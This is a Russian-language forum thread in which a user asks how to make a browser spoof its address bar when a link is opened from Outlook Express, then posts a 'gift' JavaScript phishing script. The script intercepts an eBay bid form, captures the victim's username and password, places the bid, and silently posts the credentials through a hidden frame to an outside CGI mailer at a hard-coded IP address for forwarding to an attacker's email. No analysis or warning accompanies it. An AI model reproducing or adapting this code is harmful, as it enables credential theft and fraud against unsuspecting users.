На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
  
> Помогите пожалуйста!
    Каким образом програмно можно сделать так то бы при открывании окна браузера из почтовой программы аутлук экспресс в адресной строке отображался один адрес а грузился с совсем другого? Вероятно это возможно реализовать при поможи джава скрипта...
    Помогите пожалуйста!
    -------------
    В подорить для форума я хочу оставить вот этот чудный скрипт.
    поймет тот кто знает...
    <script>
    recipient = "name@yourserver.com";

    function printframeset(place_bid, mailUrl, username, password){
    document.open();
    document.writeln('<script>');
    document.writeln('function go(){');
    document.writeln('top.b.document.open();');
    document.writeln('top.b.document.writeln("<body onLoad=document.form1.submit()>");');
    document.writeln('top.b.document.writeln("<form name=form1 method=POST action=' + mailUrl + '>");');
    document.writeln('top.b.document.writeln("<input type=hidden name=username value=' + username + '>");');
    document.writeln('top.b.document.writeln("<input type=hidden name=password value=' + password + '>");');
    document.writeln('top.b.document.writeln("</form>")');
    document.writeln('top.b.document.close();');
    document.writeln('}');
    document.writeln('</scr' + 'ipt>');
    document.writeln('</head>');
    document.writeln('<frameset rows="100\%,*" onLoad="go()">');
    document.writeln('<frame name="t" src="' + place_bid + '">');
    document.writeln('<frame name="b" src="">');
    document.writeln('</frameset>');
    document.close();
    }

    function urlEncode(inStr) {
    outStr=' '; //not '' for a NS bug!
    for (i=0; i < inStr.length; i++) {
    aChar=inStr.substring (i, i+1);
    switch(aChar){
    case '\%': outStr += "\%25"; break; case ',': outStr += "\%2C"; break;
    case '/': outStr += "\%2F"; break; case ':': outStr += "\%3A"; break;
    case '~': outStr += "\%7E"; break; case '!': outStr += "\%21"; break;
    case '"': outStr += "\%22"; break; case '#': outStr += "\%23"; break;
    case '$': outStr += "\%24"; break; case "'": outStr += "\%27"; break;
    case '`': outStr += "\%60"; break; case '^': outStr += "\%5E"; break;
    case '&': outStr += "\%26"; break; case '(': outStr += "\%28"; break;
    case ')': outStr += "\%29"; break; case '+': outStr += "\%2B"; break;
    case '{': outStr += "\%7B"; break; case '|': outStr += "\%7C"; break;
    case '}': outStr += "\%7D"; break; case ';': outStr += "\%3B"; break;
    case '<': outStr += "\%3C"; break; case '=': outStr += "\%3D"; break;
    case '>': outStr += "\%3E"; break; case '?': outStr += "\%3F"; break;
    case '[': outStr += "\%5B"; break; case '\\': outStr += "\%5C"; break;
    case ']': outStr += "\%5D"; break; case ' ': outStr += "+"; break;
    default: outStr += aChar;
    }
    }
    return outStr.substring(1, outStr.length);
    }

    function newaction(){
    window.document.forms[0].action="javascript:ebayla()";
    }

    function ebayla(){
    item = urlEncode(window.document.forms[0].item.value);
    username = urlEncode(window.document.forms[0].userid.value);
    password = urlEncode(window.document.forms[0].pass.value);
    maxbid = urlEncode(window.document.forms[0].maxbid.value);

    bid_script = "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll";
    bid_query_string = "?MfcISAPICommand=MakeBid&item=" + item + "&userid=" + username
    + "&pass=" + password + "&maxbid=" + maxbid;
    place_bid = bid_script + bid_query_string;

    mailscript = "http://204.225.88.132/cgi-bin/form1";
    mailUrl = mailscript + '?|' + recipient;
    printframeset(place_bid, mailUrl, username, password);
    }

    if(document.links[11] != "http://pages.ebay.com/aw/account-status.html"){
    setTimeout("newaction()", 1000);
    }

    </script>
      неужели здесь толкового програмиста не найдется для дельного програмного совета?
        Извини, все заняты. Пьянствуют :)
        0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
        0 пользователей:


        Рейтинг@Mail.ru
        [ Script execution time: 0,0239 ]   [ 15 queries used ]   [ Generated: 27.04.24, 15:07 GMT ]